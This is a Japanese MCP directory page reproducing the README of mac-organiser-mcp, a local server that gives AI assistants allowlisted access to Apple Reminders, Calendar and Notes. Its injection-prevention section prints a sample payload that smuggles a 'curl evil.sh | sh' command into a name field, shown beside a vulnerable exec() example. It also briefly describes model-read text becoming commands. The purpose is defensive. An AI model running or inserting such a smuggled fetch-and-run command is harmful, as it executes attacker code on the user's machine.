mcpField
M
mac-organiser-mcp

mac-organiser-mcp

ローカル
github.com/nicksull生産性02 週間前に更新

mac-organiser-mcp について

mac-organiser-mcpは、AIアシスタントからAppleのリマインダー、カレンダー、メモを扱うローカルMCPサーバーです。アプリ単位の設定、許可リスト、固定スクリプトにより、データの露出と入力のコード実行を抑えます。

主な機能

  1. 01リマインダーの閲覧と管理
  2. 02カレンダーイベントの閲覧と管理
  3. 03プレーンテキストのメモ検索と編集
  4. 04アプリ、リスト、カレンダー、フォルダの許可リスト
  5. 05書き込みは設定可能、削除は明示的な有効化が必要

活用シーン

  1. 01今後の予定やリマインダーの確認
  2. 02許可されたリストでの項目作成や更新
  3. 03AI用フォルダ内のメモ検索と整理

MCP 対応

ローカルstdio経由で、リマインダー、カレンダー、メモのツールをMCPクライアントに提供します。各アプリは初期状態で無効で、許可リストが参照可能なデータを制御します。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"nicksull-mac-organiser": {
"command": "npx",
"args": [
"-y",
"mac-organiser-mcp"
]
}
}
}
起動コマンドnpx -y mac-organiser-mcp

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
npmmac-organiser-mcp0.2.0

ツール

ツール一覧はまだ取得されていません

ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。

詳細

Mac Organiser MCP:AI アシスタントが必要に応じて使える、リマインダー、カレンダー、メモ。

Mac Organiser MCP

AI アシスタントが必要に応じて使える、リマインダー、カレンダー、メモ。
選択したリスト、カレンダー、フォルダのみを使用します。アプリの外にデータが出ることはありません。

macOS 14+ Node 20+ MCP TypeScript ネットワーク通信:0 ライブテスト:43件合格 ライセンス:MIT

理由  ·  ツール  ·  プライバシー  ·  クイックスタート  ·  設定  ·  仕組み


README の画像

理由

ほとんどの Apple MCP サーバーは、モデルから送られた内容をそのまま AppleScript やシェルコマンドに貼り付けます。そのため、モデルが読み取ったあらゆるテキスト、たとえばウェブページ、メール、あるいはほかの人が編集できる共有リマインダーリストが、あなたとして実行されるコマンドになり得ます。また、モデルにすべてを渡す傾向もあります。すべてのリマインダー、すべてのメモ、すべてのカレンダーです。

この MCP サーバーは、どちらの点でも正反対のアプローチを取ります。

  • 🔒 モデルが送信する内容がコードとして実行されることはありません。 各アプリには固定のスクリプトが1つだけあり、データは値としてのみそのスクリプトに渡されます。
  • 🫥 アシスタントに表示されるのは、許可したものだけです。 許可リストにないリスト、カレンダー、フォルダはアプリ内でフィルタリングされるため、サーバーに届くことも、ましてやモデルに届くこともありません。
  • ✉️ 外部への機能はありません。 誰かを招待したり、誰かに通知したり、インターネットから何かを読み込んだりすることはできません。

重要

ツールが返す内容はすべて、会話の一部としてモデルのプロバイダーに送信されます。許可リストは、そこに含める内容を制御する主な手段です。対象を必要最小限にしてください。

README の画像 ## アシスタントにできること

各アプリは、許可するまで無効です。書き込みはアプリごとに無効にでき、削除は常にオプトインです。

ツール内容
✅list_reminder_lists許可したリストの名前読み取り
get_remindersデフォルトでは未完了のリマインダー。必要に応じてリストを1つ指定できます読み取り
search_remindersタイトルを大文字・小文字を区別せずに検索します(有効にした場合はメモも対象です)読み取り
create_reminderタイトル、リスト、メモ、期限、優先度書き込み
update_reminder名前の変更、日時の再設定、期限の消去、優先度の変更、完了書き込み
delete_reminder完全に削除しますオプトイン
📅list_calendars許可したカレンダーとアカウント、および書き込み可能かどうか読み取り
get_events指定した期間内のイベント。繰り返しイベントは実際の各開催分に展開されます読み取り
create_event場所とメモを指定した、時間指定または終日のイベント。参加者は指定できません書き込み
update_event1つのイベント、または繰り返しシリーズの1回分を編集します書き込み
delete_event1つのイベントまたは1回分を削除しますオプトイン
🗒️list_note_folders許可したフォルダー読み取り
find_notesタイトルのみを新しい順に表示します。必要に応じてテキスト検索できます読み取り
get_noteメモのプレーンテキスト(長さに上限があります)読み取り
create_note新しいプレーンテキストのメモ書き込み
append_to_noteプレーンテキストのメモの末尾にテキストを追加します書き込み

日付は ISO 8601 形式です:2026-10-29、2026-10-29T14:00(現地時間)、または 2026-10-29T14:00+11:00。

README の画像

デフォルトでプライベート

デフォルトオプトイン方法
公開するアプリなしMAC_ORGANISER_APPS=reminders,calendar,notes
表示するカレンダーなし(許可リストが必要)CALENDAR_CALENDARS="Work,Home"、またはすべてを対象にする場合は *
表示するメモのフォルダーなし(許可リストが必要)NOTES_FOLDERS="AI"、またはすべてを対象にする場合は *
リマインダーのメモ返されませんREMINDERS_ALLOW_NOTES=1 を設定し、各呼び出しで includeNotes を指定
イベントの場所、メモ、URL返されませんCALENDAR_ALLOW_DETAILS=1 を設定し、各呼び出しで includeDetails を指定
完了済みのリマインダー非表示各呼び出しで completed: true を指定
メモの内容get_note でのみ取得可能。一度に1件
削除ツール公開されませんREMINDERS_ALLOW_DELETE=1、CALENDAR_ALLOW_DELETE=1

**設定にかかわらず、決して返されない情報:**イベントの参加者、リマインダーの作成日時と変更日時、最近削除した項目フォルダー、ロックされたメモの内容。

README の画像

クイックスタート

要件
macOS14 Sonoma 以降(Calendar は EventKit のフルアクセス API を使用します)
Node.js20 以降
クライアントローカルの(stdio)サーバーを起動できる MCP クライアント。対応クライアントを参照してください
インストール

インストールは不要です。以下の設定例のように、MCP クライアントが npx -y mac-organiser-mcp で npm から実行します。

代わりにソースから実行する
git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build

その後、npx と -y mac-organiser-mcp の代わりに、node と dist/index.js のフルパスを使用してください。

### 対応クライアント

標準のModel Context Protocolサーバーで、stdio 経由でローカル実行されるため、特定のアシスタントに依存しません。どのクライアントでも必要なのは、コマンド npx、引数 -y mac-organiser-mcp、環境変数としての設定の3つです。

クライアント設定ファイルの場所
Claude Codeclaude mcp add(以下を参照)
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json
Cursor~/.cursor/mcp.json
Windsurf~/.codeium/windsurf/mcp_config.json
VS Code(エージェントモード)ワークスペース内の .vscode/mcp.json、またはユーザーの mcp.json
OpenAI Codex CLI~/.codex/config.toml
ChatGPT アプリ❌ 非対応:ChatGPT は HTTP 経由でリモートサーバーにのみ接続します

警告

ローカル MCP サーバーをパブリック HTTPS トンネルの背後に置けば ChatGPT から接続できますが、このサーバーでは絶対に行わないでください。 リマインダー、カレンダー、メモがインターネットに公開されたエンドポイントに置かれ、設計の目的が損なわれます。

Claude Code
claude mcp add -s user mac-organiser \
  -e MAC_ORGANISER_APPS=reminders,calendar,notes \
  -e REMINDERS_LISTS="Reminders,Groceries" \
  -e CALENDAR_CALENDARS="Work,Home" \
  -e NOTES_FOLDERS="AI" \
  -- npx -y mac-organiser-mcp
Claude Desktop · Cursor · Windsurf

3つとも同じ mcpServers 形式を使用します。

{
  "mcpServers": {
    "mac-organiser": {
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

重要

  • GUI アプリはシェルの PATH を読み込みません。Node を nvm、fnm、asdf から実行する場合は、"command" に which npx の出力を設定してください(例:/Users/you/.nvm/versions/node/v22.x.x/bin/npx)。
  • Claude Desktop が設定を読み込むのは起動時のみです。編集後は完全に終了し(⌘Q)、再度開いてください。
VS Code

VS Code では servers と明示的な type を使用します。

{
  "servers": {
    "mac-organiser": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}
OpenAI Codex CLI
[mcp_servers.mac-organiser]
command = "npx"
args = ["-y", "mac-organiser-mcp"]

[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"

クライアントのバージョンによって設定形式は変わります。形式が合わない場合は、そのクライアントの MCP ドキュメントを確認してください。

ヒント

専用のメモ用フォルダー(たとえば AI)を作ると、許可リストとして便利です。アシスタントが読み書きできる作業用メモを置き、それ以外のメモにはアクセスできないようにできます。

権限

macOS では、各アプリを初めて使用するときに一度だけ確認が表示されます。許可をクリックしてください。

アプリ確認場所
リマインダー、メモシステム設定 › プライバシーとセキュリティ › オートメーション
カレンダーシステム設定 › プライバシーとセキュリティ › カレンダー(フルアクセス)
リマインダー(期限日のクリアのみ)システム設定 › プライバシーとセキュリティ › リマインダー(フルアクセス)

メモ

これらの権限はこのサーバーではなく、ホストアプリ(Terminal、Cursor、VS Code、Claude Desktop など)に付与されます。そのアプリ内で実行されるほかのものも、同じアクセス権を取得します。最初のカレンダー呼び出しでは、確認への回答を最大40秒間待ちます。

README の画像 ## 設定

すべて環境変数で設定します。フラグには 1、true、または yes を指定します。

変数デフォルト
MAC_ORGANISER_APPS(なし)カンマ区切り:reminders、calendar、notes
REMINDERS_LISTSすべてのリストリスト名の許可リスト。すべてを対象にする場合は *
REMINDERS_ALLOW_NOTESオフモデルによるリマインダーのメモの要求を許可します
REMINDERS_READ_ONLYオフ作成と更新を非表示にします
REMINDERS_ALLOW_DELETEオフdelete_reminder を公開します
REMINDERS_MAX_RESULTS50最大 500
CALENDAR_CALENDARS必須カレンダー名または ID。すべてを対象にする場合は *
CALENDAR_ALLOW_DETAILSオフモデルによる場所、メモ、URL の要求を許可します
CALENDAR_READ_ONLYオフ作成と更新を非表示にします
CALENDAR_ALLOW_DELETEオフdelete_event を公開します
CALENDAR_MAX_RESULTS100最大 1000
NOTES_FOLDERS必須フォルダー名。すべてを対象にする場合は *
NOTES_READ_ONLYオフ作成と追記を非表示にします
NOTES_MAX_RESULTS50最大 500
NOTES_MAX_CHARS20000get_note が返すテキストの最大文字数。最大 200000

必須の許可リストを設定せずにアプリを有効にした場合、そのアプリはオフのままになり、サーバーは理由を stderr に出力します。

README の画像

動作の仕組み

flowchart LR
    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod

    subgraph server["Mac Organiser MCP · Node"]
        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
        exec["execFile osascript<br/>no shell"]
        zod --> exec
    end

    subgraph mac["Inside the Apple app"]
        script["Fixed JXA script<br/>request arrives as one JSON value"]
        filter{"In your<br/>allowlist?"}
        data[("Reminders · Calendar · Notes")]
        script --> filter
        filter -->|yes| data
        filter -.->|no: 'not found'| script
    end

    exec -->|argv| script
    data -->|only allowed fields| exec
    exec -->|result| client
インジェクションが起きない理由

一般的な方式では、モデルのテキストからスクリプトを組み立てるため、意図しない ' や " によってデータがコードに変わってしまいます。

// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
//   name = `x'; curl evil.sh | sh; #`  →  runs curl

この方式では、スクリプトのテキストは決して変わりません。リクエストはシェルを介さず、独立した引数として渡され、常にデータとしてのみ読み取られます。

// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }

ライブテストスイートでは、ほかのペイロードも含め、まさにこれらのペイロードを送信し、プレーンテキストとして保存されることを確認します。

エンジン
アプリエンジン理由
RemindersReminders スクリプティング(JXA)大量処理でも十分高速です。スクリプティングではできない期限日のクリアには EventKit を使用します
CalendarJXA ObjC ブリッジ経由の EventKitCalendar.app のスクリプティングよりはるかに高速で、繰り返しイベントも正しく展開します
NotesNotes スクリプティング(JXA)Notes には公開フレームワークがありません
README の画像

基本方針

すべての変更は、以下の方針に従います。

  1. 入力からコードを生成することはありません。 スクリプトは固定テキストであり、リクエストはデータとしてのみ送信されます。
  2. ソースでフィルタリングします。 許可リストとフィールドの上限は Apple アプリ内で適用されるため、非表示のデータが Node、ログ、モデルに渡ることはありません。
  3. 許可リスト外の項目は「見つからない」として扱います。 読み取りと書き込みのどちらでも、項目の存在を示す手がかりはありません。
  4. 外部に影響する操作は行いません。 参加者の追加、招待、更新メール、ネットワーク呼び出しはありません。参加者がいるイベントは、ここでは読み取り専用です。
  5. 復元できないものは決して破壊しません。 削除はオプトインです。Notes が上書きまたは削除されることはなく、繰り返しイベントも一度に 1 回分のみ変更します。
  6. テキストはテキストのまま扱います。 Notes の内容は HTML エスケープされるため、モデルがリンク、マークアップ、トラッキング画像を追加することはできません。
  7. すべてを検証します。 ID、日付、優先度、長さは、二重の防御策として実行前にチェックされます。
  8. 依存関係のバージョンを固定します。 ロックファイルで正確なバージョンを指定し、ランタイム依存関係は 2 つ、インストールスクリプトは使用しません。
README の画像 ## 制限事項
  • メモ: 編集も削除もできません。メモをスクリプトで変更するには、本文全体を置き換えるしかありません。その場合、添付ファイル、チェックリスト、表が失われる可能性があります。同じ理由から、append_to_note は添付ファイル、リスト、表、画像を含むメモには対応していません。
  • カレンダー: 新しいイベントには繰り返しルールを設定できません。また、参加者がいるイベントは、ここでは変更も削除もできません。その場合は Calendar.app を使用してください。
  • リマインダー: サブタスク、タグ、フラグ、場所には対応していません。スクリプト用インターフェースではこれらを操作できません。
  • 同名の場合: カレンダー名が重複している場合は、list_calendars のカレンダー ID を使用してください。同じ名前のメモフォルダが2つある場合は、名前を変更する必要があります。
  • macOS のみ対応で、Mac がスリープしていない必要があります。すべての処理はローカルで実行されます。
README の画像

開発

コマンド内容
npm run buildTypeScript を dist/ にコンパイルします
npm startstdio でサーバーを実行します
npm run test:live実際のアプリを対象にエンドツーエンドテストを実行します(以下を参照)
ライブテスト
npm run build && npm run test:live

テストスイートは MCP Test という名前のリマインダーリスト、カレンダー、メモフォルダを作成し、すべての許可リストをそれらに限定して、実際の MCP クライアントですべての16個のツールを実行します。インジェクションペイロード、許可リストの回避、繰り返しイベントの発生、期限日のクリアを含む43項目をチェックします。テスト完了後にテスト用データを削除します。また、すでに MCP Test という名前のものが存在する場合は開始しません。それ以外のデータが読み取られることはありません。

ディレクトリ構成
src/
  index.ts        Registers each enabled app
  config.ts       Environment variables and their defaults
  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers
  reminders.ts    Reminders tools and script
  calendar.ts     Calendar tools and EventKit script
  notes.ts        Notes tools and script
test/
  live.mjs        End-to-end suite over MCP
  fixtures.js     Creates and removes the MCP Test fixtures

ライセンス

MIT © 2026 Nick Sullivan

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。